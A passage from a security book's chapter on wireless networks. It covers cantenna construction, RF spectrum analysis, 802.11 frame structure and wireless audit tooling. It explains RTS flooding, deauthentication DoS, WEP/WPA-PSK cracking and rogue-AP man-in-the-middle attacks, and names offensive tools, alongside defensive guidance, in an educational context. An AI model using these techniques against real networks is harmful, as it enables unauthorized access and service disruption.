is actually metal, rather than overlaid with aluminum foil. Actual metal sheeting (whether aluminum sheet or stainless-steel rolled sheet) is denser and thicker (typically 1 mm) than ultrathin foil. In practice, and contrary to popular opinion, aluminum foil is not a sufficient reflection/containment material for manipulation of RF patterns of very-closerange emission sources that are radiating energy at the levels found in a typical 802.11based wireless network adapter because the foil is too thin. Step 2: The Pigtail and Connectors Prepare the antenna wire to receive a MC connector (or other depending on your interface) at one end. This wire that joins the cantenna to the WNIC is called a pigtail (as it typically curls like a pig’s tail). You will need to strip off a length of the wire equal to the MC connector section to be crimped. Strip the wire and attach the wire’s internal shield braid to the outer shell of the MC connector, and then slide the cover that comes with the MC connector over the shield braid and crimp with the hex crimper. You may also want to put some heatshrink tubing over the joint to make it look neat. At the other end, repeat the sequence as just described except that the length of wire you strip will depend on whether you use an N-female panel mount connector or a set of N-female bulkhead crimp and N-male crimp connectors. Most people will tell you to use a panel mount–type connector and to join or solder the pigtail to the end of it, which is the connector that attaches to the cantenna body and from which the bare wire pokes out.
Chapter 8:
Wireless Networks
The problem with this approach is that it causes unnecessary attenuation (specifically coupling loss) due to the joints between the pigtail wire and the panel mount connector and between the panel mount connector and the bare aerial wire that extrudes into the cantenna. Also, you are tied to one connector type at the other end, e.g., MC connector. The HammerJammer favors an unbroken-wire approach using the N-female bulkhead and N-male crimp connectors, with the antenna wire going through the connector and coming out the other side where the wire sheathing is removed and the bare wire exposed. Using this method, the gold connector plug inserts are not used. Figures 8-8 and 8-9 illustrate this approach. This ensures there is no breakage between the bare wire that is exposed on the inside of the cantenna and the connector that attaches to the WNIC itself. If your wire has a secondary clear plastic cladding on the inside of the main outer protective sheath, you can leave this on to guard against damage to the stripped portion of the wire, which may occur whenever you insert and remove the antenna. You can also change the pigtails to match your WNIC external antenna jack without introducing unnecessary dB loss. You would have to make multiple pigtails if you had cards with different types of external antenna connectors, one end having a connector for your WNIC and the other being the “through-and-through” connecting to the cantenna body. It is safer to strip the antenna wire such that it extends beyond the half-diameter mark of the diameter of the cantenna. This allows you to adjust and cut the length as close to the half-diameter mark as possible later. If you use MC or SMA connectors, you should also solder the bare antenna wire to the relevant terminals or receptacles on the inside of the connectors to minimize attenuation. Make sure the solder does not join the wire/terminal and the external metal housing of the connector.
Figure 8-8 Antenna wire extruding inside the cantenna body (photo courtesy of Julian “HammerJammer” Ho)
235
236
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 8-9 Antenna wire unbroken and extended for passing through the shielded connector into the cantenna body (photo courtesy of Julian “HammerJammer” Ho)
Step 3: Connect Pigtail to Cantenna Attach the top half of the “through-and-through” connector to the body of the cantenna with the small end facing inward. Then either tighten via washer-and-screw-ring or use epoxy to set it in place. Next, screw the pigtail’s half of the “through-and-through” to the cantenna’s half. Your wire should now be exposed on the inside of the cantenna. Cut it so that the end of the wire is as close to the center of the can’s diameter as possible. Next, take the cans and fit them together and add epoxy around the joints to set them in place. You should ensure a good tight fit around the edges of the cans where they meet, prior to mixing and applying the compound. This provides excellent adhesion and structural strength for the cantenna, making it durable and light. Leave the assembly alone until the epoxy hardens. Step 4: The Mounting Take the plastic electrical socket box and cut out the edges so that it matches the curvature of the cantenna’s outer surface. The box is going to act as a stand/ attachment point to a standard camera tripod. Test the cantenna on the socket box and keep cutting until you are satisfied with the fit. Next make a small hexagonal hole in the bottom of the socket box so that the hex nut can fit there. Use epoxy to set the nut in place. Figure 8-10 illustrates the desired result. Then cut two holes on each side of the socket box on the non-curved sides. Take the cable ties and run them through the socket box, looping them around the cantenna body. This will secure the cantenna to the box. Daisy-chain cable ties if you’re not able to get the single long ones. Cut off the ends of excess cable ties to make things look nicer. When done, screw the cantenna to the camera tripod and you’re ready to go!
Chapter 8:
Wireless Networks
Figure 8-10 Mounting with nut for camera tripod attachment (photo courtesy of Julian “HammerJammer” Ho)
As many manufacturers are no longer producing cards with external antenna jacks (like the old Lucent Orinoco and the Compex WL54G rev.0), cantenna use is increasingly moving toward extending AP coverage as a wireless repeater. However, you can also retrofit your own WNICs with external antenna jacks. What you have to do is pop the plastic cover off a PCMCIA-based or USB WNIC and look for the antenna trace that is printed on the circuit board or for the wire attached to the circuit board that extends into the antenna housing (mainly for USB form factors). Then either solder a wire leading to an MC, SMA, or other external connector to the antenna trace (or a Hi-Rose test connector on the circuit board if one is available) and attach the external connector to the plastic housing. For USB WNIC cards with foldable antennas (e.g., Linksys WUSB54G), you want to solder to the WNIC’s antenna itself, wire-to-wire.
Defending Against RF Exploitation Unlike the hacker perspective previously mentioned, a defender would like his or her wireless network signal to be attenuated as much as possible beyond the network’s Sphere of Influence Limit (SOIL). However, defenders face a much tougher task because they have to balance the requirements of sufficient area coverage with the need to stop RF leakage. When combined with the fact that RF is not constrained by a wire like Ethernet is and flows freely through three-dimensional space, defenders have to resort to physical measures to attenuate the signal.
237
238
Hacking Exposed Linux: Linux Security Secrets & Solutions
As a defender, you can use attenuation to your advantage by placing multiple obstacles in three-dimensional space to cause reflective, refractive, and absorptive effects to a given wireless signal and to use high-density materials such as sandwiched-metal office partitions and appropriately spaced wire-meshing to limit the ability of an hacker to receive your wireless signals. Aluminum-laced paint is another defensive option, with an early entrant being DefendAir Radio Shield paint, from a company called Force Field Wireless. Anti-RF wallpaper is in the cards as well, with British Aerospace reportedly having already developed a frequency selective surface (FSS) wallpaper that can be set to block particular frequencies while letting others through. To combat diffraction, you may opt to use RF equipment with short wavelengths (i.e., high frequencies). An example is eschewing 802.11b/g-based equipment in favor of 802.11a-based equipment. This is because, as distance from a signal grows, a given signal may be unable to propagate around obstacles encountered, such as walls or buildings. This results in a “shadow zone” on the leeward side of an obstacle between the transmitter and the receiver. The shadow zone is an area void of the RF signal that is unable to bend around the obstruction. An attacker in this area would be unlikely to effect any RF-based communications with the signal source. Of course, the use of 802.11a in place of 802.11b/g requires a cost-benefit-analysis for corporate deployments because most equipment on the market is designed to be b/g compatible.
RF SPECTRUM ANALYSIS Investigating and identifying the amount and pattern of RF activity for a particular frequency or range of frequencies is called RF spectrum analysis. In effect, this means trying to determine how many RF sources are operating in the particular frequency region of interest and their operating pattern or condition.
Identifying Frequency Usage and Patterns Popularity:
4
Simplicity:
7
Impact:
6
Risk Rating:
6
Spectrum analysis is one part science and one part deduction. Although the measurement and plotting of RF energy on a two-dimensional plot (called a spectrograph) may be based on objective algorithms and calculation, determining what devices made those patterns and the proximity of any given device is more a matter of logical deduction and educated guesses than definitive answers. Spectrum analysis can be used to determine which parts of the RF spectrum are heavily utilized, either for targeting purposes or for avoidance purposes. Consider the example shown in Figure 8-11.
Chapter 8:
Figure 8-11
Wireless Networks
RF spectrograph (photo courtesy of Julian “HammerJammer” Ho)
Is the RF pattern clustered around the 2.412 GHz band over the last two minutes caused by an AP operating in the next office with a low transmit power setting, or in the next building but with a high transmit power setting? Or is it even an AP at all? RF spectrum analyzers (the devices used to receive, record, and plot RF energy in a given frequency band) are only capable of measuring RF energy received at a given point in time and its intensity at that point in time. In their purest form, they do not understand higher-level protocols such as 802.11 and 802.16. Identifying the source of the RF plot depends on factors such as source proximity, source technology type, and source operating mode/emission pattern. Gauging source position is even harder if you are in a static location. Walking around with the analyzer provides the best indication of the location of a likely RF source since the closer you walk to the source, the more intense the RF energy and thus the more spikes on your spectrograph. Even beaconing APs have different plots compared to APs that are communicating with wireless stations. Beacons will show up as defined points on a spectrograph, similar to what’s shown in Figure 8-11. An AP communicating with a client during a heavy data transfer session will show clearly defined bands that spread out plus-minus 5 MHz on either side of the actual channel the AP is set to, due to a combination of the encoding algorithm used in injecting the data into RF energy and also because the air medium
239
240
Hacking Exposed Linux: Linux Security Secrets & Solutions
being injected into is nondigital in nature and thus cannot be injected into precisely at the set channel’s frequency. On a spectrograph plotting RF received over elapsed time, this displays as a 45-degree slanted line. However imprecise any conclusions may be that are derived from any given spectrograph, RF spectrum analysis has benefits. Chief among these is identifying spectral efficiency. For example, if many APs are operating in the 2.412 GHz region, those devices are fighting for a slice of the same spectrum pie. The noise level is going to be much higher in that frequency band. It therefore makes sense to use a different frequency in order to achieve higher throughput because the AP won’t have to share the limited “airtime” with so many other devices or suffer degradation due to the increased noise in the frequency band. Even if all frequencies are heavily utilized by existing devices, by identifying the concentration of the entire frequency range, the AP can be configured to use a band with the lowest relative utilization. Also, spectrum analysis comes in handy when trying to identify the cause of throughput drops at particular times of the day (e.g., office microwave oven use at lunchtime impacting channel 11 users). Though various types of spectrum analyzers are on the market, most are expensive and/or only operate under Windows. However, there is a neat open-source solution that revolves around the WiSpy USB RF spectrum analyzer dongle (http://www.metageek.net). (You can download it at http://kismetwireless.net/wispy.shtml.) As of version 2006-09-R1, Spectrum-Tools enables the dongle to be used on Linux distributions that do not implement USB device detachment support in their kernels (e.g., Fedora Core 5) so that those who want to use the dongle don’t have to mess around with reverting their kernel to vanilla versions if they don’t like that sort of thing.
Defending Against RF Spectrum Analysis From a technical perspective, it is extremely difficult to prevent RF spectrum analysis from occurring simply because it is a passive exercise. The attacker is not sending out any RF energy packets bearing higher-layer protocol information. He or she is only passively receiving all RF energy packets within the spectrum analyzer’s frequency range. However, you can potentially identify if an attacker is performing spectrum analysis in the immediate area through simple observation. A spectrum analyzer would be either a handheld device or an external dongle (e.g., WiSpy) or an add-on device that attaches to a laptop. To make more effective use of the spectrum analyzer, the attacker is also likely to walk around taking sampling readings. Thus, physical observation with the human eyeball is the best defense against an attacker roaming through any given location taking RF readings.
EXPLOITING 802.11 THE HACKER WAY Any discussion about wireless security requires a look at IEEE 802.11 because it is the most prevalent wireless technology in use for IP-based data communications today.
Chapter 8:
Wireless Networks
From there, we’ll explore various 802.11-aware wireless tools that can take advantage of certain characteristics of the 802.11 specification.
Frame Analysis Popularity:
4
Simplicity:
5
Impact:
8
Risk Rating:
6
Hackers love the 802.11 frame specification because it lends itself very well to field manipulation. Because the management and control frames are not protected by encryption, modifying or spoofing fields and injecting them back into the wireless network is trivial. Unlike 802.3 Ethernet, 802.11 uses Carrier Sense Multiple Access with Collision Avoidance (CSMA/CA) with a virtual carrier sensing mechanism (Request-To-Send & Clear-To-Send) and unicast positive acknowledgment from the receiver (receiver ACK) for ordering communications across the air medium. The 802.11 media access control layer also handles packet retransmission and fragmentation. In an 802.11-based communication, a station wanting to transmit senses the medium. If another station is already transmitting, the station will defer transmission until later; otherwise, it will transmit. Should two stations sense a free medium at the same time and then proceed to transmit, unaware of the other station that is also transmitting at the same time, a collision occurs. With a collision detection (CD) mechanism like that used by 802.3 Ethernet, both stations see the ensuing collision on the wire and initiate a random backoff timer to determine when to retransmit. In a WLAN, because you cannot assume all stations hear each other all the time (a basic assumption of the CSMA/CD scheme), this is not possible. The air medium around the receiver might also not be free just because the medium around the transmitter is free. Thus, 802.11 uses CSMA/CA with Positive Acknowledge to get around this. Whenever a station transmits, the receiving station checks the CRC of the received frame and sends an acknowledgment (ACK) frame. Receipt of the ACK indicates to the transmitter that the receiver received the frame. The transmitter will attempt to retransmit the frame fragment until it receives an ACK or it discards the frame if a predetermined number of retransmissions has been reached. The ACK is only sent in response to unicast frames, not multi- or broadcast. The CSMA/CA mechanism is aided by virtual carrier sensing, implemented to reduce the likelihood of two stations colliding because they cannot hear each other. The transmitting station first emits a Request-To-Send (RTS) control frame. The RTS includes information on the source, destination, and duration of communication. If the medium is free, the receiver will reply with a Clear-To-Send (CTS) control frame that includes the same duration information. All stations that receive either the RTS or CTS will update their internal indicator, called the Network Allocation
241
242
Hacking Exposed Linux: Linux Security Secrets & Solutions
Vector (NAV), with the given duration and then use this indicator together with CSMA/ CA when sensing the medium—they would be unable to transmit and communicate with the AP for the given duration. As you’ve probably guessed by now from the preceding two paragraphs, there is potential for abuse here. By injecting RTS control frames in a constant stream toward the AP, an attacker could monopolize the channel because the other stations would be forced to update their NAV values constantly, limiting their opportunities to transmit. As the specification requires an AP to respond to an RTS with a CTS, the attacker will be able to use the AP to propagate the attack to all clients associated with it. The attacker would also be hard to triangulate and pin down if he or she used this in conjunction with a cantenna or other hi-gain antenna. Modifying the duration variable in the RTS frame to a max of 32,767 microseconds could magnify the impact of this attack by extending the duration of channel-access denial for the other stations, depending on the capability of the AP involved. The general structure of an 802.11 frame is shown in Figure 8-12. Unlike 802.3 Ethernet, 802.11 has two additional address positions other than the usual source and destination addresses. This is because 802.11 APs act as central relays through which all traffic has to pass under infrastructure mode between wired and wireless hosts and between the wireless hosts themselves. The AP manages all traffic for its Signal Set Identifier (SSID). The AP has a Basic Service Set IDentifier (BSSID) that is central to this relaying system as the clients have to know which particular AP they are attempting to relay the information to, as more than one AP may be in the vicinity. Thus the additional address fields are implemented because you also have to identify the AP’s address as the ultimate destination, which may not be the AP. The transmitting station, however, must craft the frame so the AP that the frame is relayed through will accept it. Since the frame must also be identified as coming from or going to the AP, the concept of a distribution system should be mentioned here. Essentially, the AP acts as a gateway to the distribution system, which is the wired infrastructure sitting behind the AP, including the AP itself. The Frame Control Header (FCH), shown in Figure 8-13, has two fields: ToDS and FromDS.
Figure 8-12 802.11 frame structure
Chapter 8:
Wireless Networks
Figure 8-13 Frame Control Header structure
ToDS indicates a frame going toward an AP and FromDS indicates a frame transmitted by the AP to a wireless station. All data-bearing frames will set either one of these fields to 1. Both fields are set to 0 for management and control frames and stations operating in ad hoc mode. Both fields are set to 1 only when a frame is being transmitted from one AP to another in a Wireless Distribution System or WDS (i.e., bridge or repeater mode). As shown in Figure 8-14, when combined with the Address 1, 2, 3, and 4 fields, ToDS and FromDS allow a station to transmit frames to a given AP (BSSID) for an ultimate Destination Address (DA) and to insert its MAC address as the Source Address (SA). The Receiver Address (RA) and Transmitter Address (TA) are set only if the frame is going between two APs in a WDS. By examining the frame header, the attacker can identify whether the communication is to a wireless station, whether it is coming from or going to the AP, or whether the frame is being sent between two APs configured for WDS operation (either as wireless repeaters or as wireless bridges), and identify the capabilities of a particular AP.
Figure 8-14 ToDS and FromDS and Address 1-4 field value matrix
243
244
Hacking Exposed Linux: Linux Security Secrets & Solutions
In addition to understanding a given frame’s destination, the FCH Type and Subtype fields provide useful information for analysis and are shown in the following table. Type Description
Type Value (bits 3 and 2)
Subtype Description
Subtype Value (bits 7, 6, 5, and 4)
Management frame
00
Association request
0000
Management frame
00
Association response
0001
Management frame
00
Reassociation request
0010
Management frame
00
Reassociation response
0011
Management frame
00
Probe request
0100
Management frame
00
Probe response
0101
Management frame
00
Reserved
0110–0111
Management frame
00
Beacon
1000
Management frame
00
ATIM
1001
Management frame
00
Disassociation
1010
Management frame
00
Authentication
1011
Management frame
00
Deauthentication
1100
Management frame
00
Reserved
1101–1111
Control frame
01
Reserved
0000–1001
Control frame
01
Power save poll
1010
Control frame
01
RTS
1011
Control frame
01
CTS
1100
Control frame
01
ACK
1101
Control frame
01
CF-End
1110
Control frame
01
CF-End + CF-Ack
1111
Data
10
Data
0000
Data
10
Data + CF-Ack
0001
Data
10
Data + CF-Poll
0010
Chapter 8:
Wireless Networks
Type Description
Type Value (bits 3 and 2)
Subtype Description
Subtype Value (bits 7, 6, 5, and 4)
Data
10
Data + CF-Ack + CF-Poll
0011
Data
10
Null function (no data)
0100
Data
10
CF-Ack (no data)
0101
Data
10
CF-Poll (no data)
0110
Data
10
CF-Ack + CF-Poll (no data)
0111
Data
10
Reserved
1000-1111
Reserved
11
Reserved
0000-1111
Crafting frames to include special values for particular fields, e.g., disassociation and deauthentication, is a technique frequently used by attackers to cause DoS against given BSSIDs. Where such DoS attempts are conducted in association with a ph00ling or EvilTwin type attack, attackers can easily steal confidential information from the victims. Deauthentication/disassociation attacks can also be used to speed up attacks on WEP and WPA-PSK-protected WLANs by forcing clients to reassociate and generate ARP traffic (for WEP-based attacks) or redo a WPA four-way handshake, which can then be used to run an offline dictionary- or rainbow-table-based cracking attack against the passphrase. Examples of frame manipulation will be covered later in this chapter in the section, “Cracking Encryption.”
Wireless Frame Analysis: Practical Examples Figure 8-15 shows an example of a probe request frame, viewed using Wireshark (exEthereal), a packet analyzer and sniffer. You can see that the frame belongs to the management family and that the wireless station broadcasting this frame is looking for any AP bearing the SSID Mitzmara11 and saying that the station supports a basic speed set of up to 11 Mbps (i.e., 802.11b-capable). In response to this probe request, an AP bearing the same SSID as that sought by the station (STA) replies as shown in Figure 8-16. Here, you see the AP say, in essence, “Yes, I hear you. Now if you want to connect to me, I don’t use any form of frame-payload-
245
246
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 8-15 Wireless packet capture showing probe request from client to any AP configured with the SSID Mitzmara11
encryption (e.g., WEP or WPA). I am on Channel 3 (2422 MHz) and I support 802.11g rates. By the way, my transmit power is 20 dBm and I support the additional channels allowed by the European Union, Asia, and Japan of 12 and 13.” The STA then responds as shown in Figure 8-17: “I hear you and would like to authenticate with you using Open System authentication.” Note that Authentication Seq: 0x0001 denotes from the station to the AP. The corresponding reply from the AP with Authentication Seq 0x0002, which denotes from the AP to the STA, is shown in Figure 8-18. Now that the STA has been successfully authenticated by the AP, the STA sends an association request, as shown in Figure 8-19. As you can see, the AP didn’t get the first association request frame that the STA sent out, so this particular frame is a retransmitted frame. You can also see that the client is only 802.11b-capable and will not be able to run at 802.11g speeds, even though the AP does support 802.11g. The AP then responds with the association response shown in Figure 8-20. Since all authentication requests and other fields (SSID, capability, encryption setting, etc.) correspond with and are within the limits of the AP’s configuration and capabilities, it allows the association and the STA can start sending data.
Chapter 8:
Figure 8-16
Wireless Networks
Probe response to the client from an AP with the SSID Mitzmara11
247
248
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 8-17 Authentication request from station to AP
Figure 8-18 Authentication response from AP to station
Chapter 8:
Figure 8-19
Wireless Networks
Association request from station to AP
Using the filter function in Wireshark allows you to identify and isolate those frames that are “interesting.” Simply click the Expression button and you can create a filter for every protocol and associated field recognized by libpcap. For 802.11-specific fields, you would be using the IEEE802.11 entry in the filter list predominantly. The best way to go about practicing 802.11 frame analysis is to download, compile, and install a copy of Wireshark from http://www.wireshark.org/download.html and open up the packet dumps obtained from a Kismet or Airodump-ng sniffing session. With a little help from the oracle (read: Google) whenever you run into a field you don’t understand, you should be proficient at frame analysis in short order.
249
250
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 8-20
Association response from AP to station
Defending Against 802.11 Frame Analysis As with RF spectrum analysis, frame analysis is a passive exercise. The attacker is not sending out any 802.11 frames, only passively receiving whatever AP- or station-transmitted frames come its way. One possible method of interfering with some portion of the frame capture during the sniffing session that must precede the frame analysis is sending out crafted frames that exploit a denial-of-service (DoS) vulnerability against the chipset/driver combination the attacker is using. However, this is difficult, to say the least, because (1) you would have to know first whether an attacker was around (remember, he or she is running passive silent in the first place) and (2) if any legitimate users are running the same
Chapter 8:
Wireless Networks
chipset/driver combination as the attacker, you might accidentally target them instead if you wrongly guessed the MAC address of the station you wanted to attack. Realistically, the entire 802.11 specification has to be rewritten with an eye to either encrypting the frame headers and/or performing some sort of mutual authentication/ verification against a frame sender. However, that is a matter for the IEEE to settle and, for the foreseeable future, attacks targeting the management and control frames of the IEEE 802.11 specification are likely to continue with a substantial degree of success.
WIRELESS AUDITING ACTIVITIES AND PROCEDURES This section covers the various activities you should, at a bare minimum, undertake when auditing an organization’s wireless exposure. These activities are compatible with performing an OSSTMM-based security test. While attackers do not have any need for wireless policies, technical wireless auditors who simulate hacker activity during their audits do, and as part of their audit, they also have to address organizational policies, so these are included for completeness.
Auditing Wireless Policies A security policy is one of the most important pillars of a successful information security program. Security policies play a critical role in managing an organization’s security by defining the organization’s desired posture—one that they strive to achieve and maintain. Having said that, wireless security policy is probably one of the most neglected areas in many organizations. Many organizations almost always mistakenly neglect addressing wireless security policy when addressing their overall security policy. Since their organization doesn’t have an established wireless infrastructure, many feel that they also have no need for wireless policies. Nothing, however, could be further from the truth. It is virtually impossible not to find any wireless devices within the physical walls of an organization even when an organization does not explicitly deploy any form of wireless infrastructure. Other than the very common rogue AP-type devices, which may have been plugged into the organization’s network by its employees, some of these other wireless devices come in the form of wireless-enabled laptops, PDAs, and handphones. In addition to that, with today’s mobile workforce, no one can be certain that their employees, who are connecting back to their organization’s network from an outside location, are connecting via some form of secured network and not over some unsecured wireless medium. Although the presence of wireless security policies does not technically solve the problem of someone bringing in a wireless-enabled device or the problem of connecting via an unsecured wireless medium when accessing the organizational network from any outside location, it does provide an overall framework for demonstrating management’s commitment to implementing security controls where necessary to mitigate the risk of such exposures, as well as allowing the enforcement of sanctions against any contravening acts. At the very least, an organization should explicitly state its stance on the use of any form of wireless technology within its physical premises and when connecting remotely
251
252
Hacking Exposed Linux: Linux Security Secrets & Solutions
back to its network. This stance should clearly define the acceptable use policy relating to that type of usage. If the organization has implemented any form of wireless infrastructure within its physical premises, its wireless policies, procedures, and guidelines must then be expanded to include many other areas that might include • Access policy • Authentication policy • Accountability policy • Availability • System and network maintenance policy • Acquisition guidelines • Violations reporting • Audit policy
Assembling a Linux-based Auditing/Hacking Platform Popularity:
7
Simplicity:
6
Impact: Risk Rating:
10 8
Crack open any wireless auditor/hacker laptop and chances are you’ll find some wireless software and hardware tools that are indispensable for executing a successful wireless audit. These are described in the following sections.
Wireless Sniffer All currently available wireless sniffers can be classified under two broad categories: passive sniffers and probing sniffers. The difference between the two categories lies in the fact that passive sniffers do not send out any traffic while sniffing. They sit quietly and receive wireless frames for as long as the WNIC is operating in RFMON mode. On the other hand, probing sniffers detect APs by actively sending out probes. As far as 802.11 is concerned, when a wireless station wants to see a list of APs in its vicinity, it sends out probe request frames, both for the wireless networks set up in its profile as well as for any wireless networks that may be in the vicinity. APs that hear these probe request frames will respond with probe responses. Probing sniffers use this same technique by probing for APs in the vicinity and thus receiving information (e.g., SSID, signal strength, noise level, operating channel, and supported data as well as encryption capabilities) about the discovered APs via the probe responses. Examples of passive sniffers include Kismet, Airodump-ng, and Prismstumbler, whereas examples of probing sniffers include Wellenreiter and the Windows-based Netstumbler tool.
Chapter 8:
Wireless Networks
Wireless Frame Injectors Wireless frame injectors allow attackers to customize the wireless frames they send. For instance, they can craft a deauthentication wireless frame for the purposes of deauthenticating a connected wireless client from an AP by making it look like it is originating from the AP. Literally any type of wireless 802.11 frame can be crafted by packet injector tools. Tools exist that emulate a real AP by injecting beacon frames, probe responses, and even authentication and association frames just to trick wireless clients into thinking a legitimate AP is in the vicinity. Examples of packet injectors include Aireplay-ng, Probemapper, Omerta, Void11, WLAN-Jack, FATA-Jack, and File2Air.
WEP/WPA-PSK Crackers The category of tools involved in head-on wireless encryption cracking specifically targets WEP and WPA-PSK. In the area of WEP cracking, tools include WEPCrack, Airsnort, Aircrack-ptw, and Aircrack-ng. All these tools rely on the attacker having to collect a sufficient number of WEP-encrypted data frames from the target wireless network in order to pass them to a cracker program such as Aircrack-ng. The amount of data frames required varies according to the cracking schema used. The newer PychkineTews-Weinmann method only requires 40,000 to 80,000 frames whereas the older KoRek method in Aircrack-ng requires 500,000 to 1 million data frames. For WPA-PSK cracking, these cracking tools rely on the PBKDF2 or Password-Based Key Derivation Function v2.0 mathematical formula where the master key used in the creation of session keys is generated by hashing the SSID and SSID length, as well as the passphrase to a 256-bit key. The derivation and establishment of the temporal session keys used for the actual data encryption is done via a four-way handshake, which can be easily sniffed by a wireless sniffer while an authorized client is trying to associate with the AP. After the four-way handshake is captured, an offline dictionary attack on the passphrase used can be employed. Examples of tools include Cowpatty and Aircrack-ng v0.7 and up.
Wireless MITM Due to the presence of an air gap between the wireless client and the AP, man-in-themiddle (MITM)-type attacks are prevalent and easily accomplished. In this type of attack, tools are often built to automate most parts of the MITM setup process. These tools typically set up the wireless card to operate in master mode (covered previously in “Hacking Setup: Linux-Native Chipsets and Drivers”), which causes the WNIC to become an AP and thus respond to the wireless client’s probes for networks. It then establishes a DHCP server, an HTTP server, and a DNS server so as to trick the client into thinking they are connected through a legitimate AP to a network service. In some instances, the tool will set itself up to pass all client traffic onward to the actual wireless network by having a secondary connection to that network and thus enabling the attacker to capture every single wireless frame from the targeted client (because the attacker acts as the AP itself, he or she will not miss any frames as all client frames will be sent). A good example of a wireless MITM tool is Airsnarf (use in conjunction with a deauthentication/disassociation tool for maximum effect).
253
254
Hacking Exposed Linux: Linux Security Secrets & Solutions
Wireless Client Auditing As far as wireless auditing is concerned, no organization today can claim that it does not have wireless capability deployed within its physical premises before performing any form of wireless client auditing. Even if the organization has a no-wireless policy, almost all new portable computing devices purchased off-the-shelf today come with some kind of wireless capabilities that can be exploited by attackers using tools described in this chapter. Wireless chipsets, which are built in to these portable devices, are frequently left in the unsecured and “switched-on” condition even when not in use. Tools like Probemapper, Karma, and Hotspotter can be used to “trick” these wireless clients into connecting to them when the clients are left on. While these clients are connected to the wired networks of various organizations, the wireless conduits being created by attackers can be used to totally compromise the wireless client’s connected internal network by using them as a bridge to those wired networks. Newer developments in the areas of attacking wireless clients include exploiting these wireless devices’ flawed device drivers so as to allow attackers to execute malicious code on these wireless clients as long as the targeted devices are turned on. Although tools have not, at the time of writing, been publicly released, it is likely to be only a short time until someone develops and releases a tool in the public domain that exploits this vulnerability. In fact, the WEP client communications dumbdown vulnerability, which we will cover in a bit more detail near the end of this chapter, can also be used by anyone with a master-mode-capable WNIC to initiate an unsecured connection to a Windowsbased wireless client with a WEP-encrypted profile by exploiting an association procedural handling flaw in the Windows Centrino drivers. Also, wireless fuzzers, which are instrumental in discovering these device driver flaws, have already been released.
Wireless Fuzzers As outlined in the previous section, wireless fuzzers aid in the discovery of various device driver–level flaws that have been announced at a few security conferences like DefCon in 2006. Wireless fuzzers are essentially tools that generate a series of wireless frames and throw them at wireless devices at a configurable speed and quantity. This allows the tool operator to find out how these devices handle these “malformed” wireless packets. An example of a wireless fuzzer is a tool called Fuzz-e, which is a part of the Airbase package obtainable from http://www.802.11mercenary.net.
Wireless Fingerprinting A relatively new development in wireless security is the area of wireless fingerprinting. Although you can attempt to guess the make and model of a wireless device using the client’s hardware MAC address, MAC addresses can be easily modified or spoofed by anyone. Thus, being able to fingerprint these wireless devices remotely could prove very useful from both an audit perspective and in aiding in the identification of unauthorized wireless devices on a wireless network. One early example of a wireless fingerprinting tool is jc-duration-printer from Johnny Cache.
Chapter 8:
Wireless Networks
Specialized Wireless Auditing LiveCD Toolkit Most of the tools involved in conducting wireless hacking and auditing are designed for Linux first and then a few get ported to Windows. This presents a challenge for those who are limited in installing Linux onto a machine, e.g., the machine belongs to the company and they have strict policies and enforcement regarding the loading of software onto company laptops or the repartitioning of company-supplied-laptop hard drives. Fortunately, one tool category helps to alleviate this problem by compressing the entire Linux operating system and various assorted tools onto a single CD or DVD. These types of toolkits are generically categorized as LiveCDs because the entire operating system and tool environment is “live” on the CD. You need only load the CD into your CD-ROM drive and boot it up. As this chapter deals with wireless hacking on the Linux platform, introducing a free, specialized wireless auditing software toolkit called the OSWA-Assistant for you to download and try is appropriate. You can download a copy at http://oswa-assistant.securitystartshere.org. The OSWA-Assistant has the following features: • CD-based toolkit is specifically designed for wireless auditing/hacking. • Auditing/hacking of 802.11 (WiFi), Bluetooth, and RFID technologies are allowed. • Menu arrangement and interface are optimized for user efficiency and ease of use (meaning you don’t have to hunt for entries all over the place). • Tools are all in one location under /usr/local/apps, making for easier log or packet dump file access. You don’t need to install any software on your laptop or modify your laptop hard drive. • You can plug in a thumbdrive to save packet dumps, logs, and files. • The ActivityMap help system is designed to help homeowners and SOHO setups conduct basic wireless auditing of their own wireless networks. • FAQ and hardware/software documentation is provided on the CD itself and also at the toolkit’s download site. • The tool is free to download and use! The software toolkit contains GPLed and freely usable software that can be used by anyone for any legitimate purpose such as helping run a wireless penetration test against an organization’s WLAN or to test a home network for weaknesses. You download the LiveCD in the form of an .iso image. After downloading the .iso image, you can use any CD-image-burning software (e.g., K3B on Linux or any other software capable of burning .iso images) to write the image to a standard 700MB/80minute CD. A web-based interface automatically loads once you’ve booted the CD and are inside the toolkit’s graphical interface. Apart from a brief explanation for the rationale and uses of the toolkit, it allows users to select whether they want to run the ActivityMap help system or not. The toolkit’s creator, ThinkSECURE, recommends that first-time users go through the ActivityMap help system to access some how-to documentation to guide
255
256
Hacking Exposed Linux: Linux Security Secrets & Solutions
users in doing certain things, such as changing a wireless card’s MAC address for doing wireless frame injection. One new addition to the OSWA-Assistant toolkit is the MoocherHunter wireless hacker/moocher tracking software (see http://moocherhunter.securitystartshere.org). With the appropriate hardware, this software helps law-enforcement and wireless network administrators to track unauthorized wireless users who may be tapping into both secured and unsecured wireless networks. Since moochers, by definition, want to use the service, they are faced with a choice of either mooching and revealing themselves or not mooching. This tool is only available as part of the OSWA-Assistant under a special license.
Writing Your Own Wireless Software Other than using preexisting tools that are already written and published by someone else, attackers might also need to write their own customized tools. The following sections highlight some important pointers to look out for when writing wireless tools. Libpcap When developing a wireless tool, one of the most important code libraries to be familiar with is the Libpcap library. Originally developed at the Lawrence Berkeley Laboratory, it is currently maintained by the same group of people who maintain Tcpdump, the command-line packet capture utility (http://tcpdump.org). The use of the Libpcap library in a sniffing tool simplifies a lot of coding from a programmer’s perspective, making it something of a necessity when coding a tool. To illustrate, take a look at the following segment of Probemapper’s code, which is written in C: #include pcap_handl = pcap_open_live(interface,65536,1,1000000,errbuf); // When an error has happened if(pcap_handl == NULL) { fprintf(stderr,"Error in pcap_open_live(): %s\n",errbuf); cleanup_failure(); // exits }
This code shows the Probemapper tool opening up a pcap interface that will be used subsequently for purposes of getting packets from that wireless interface. The following code uses the handle that is created via pcap_open_live and the pcap_next function call to extract the data received by that wireless interface. The subsequent three lines check for and report an error if nothing is received. packet = pcap_next(pcap_handl,&hdr); if(packet == NULL) { fprintf(stderr,"No packets: %s\n", errbuf); cleanup_failure(); // exits }
Chapter 8:
Wireless Networks
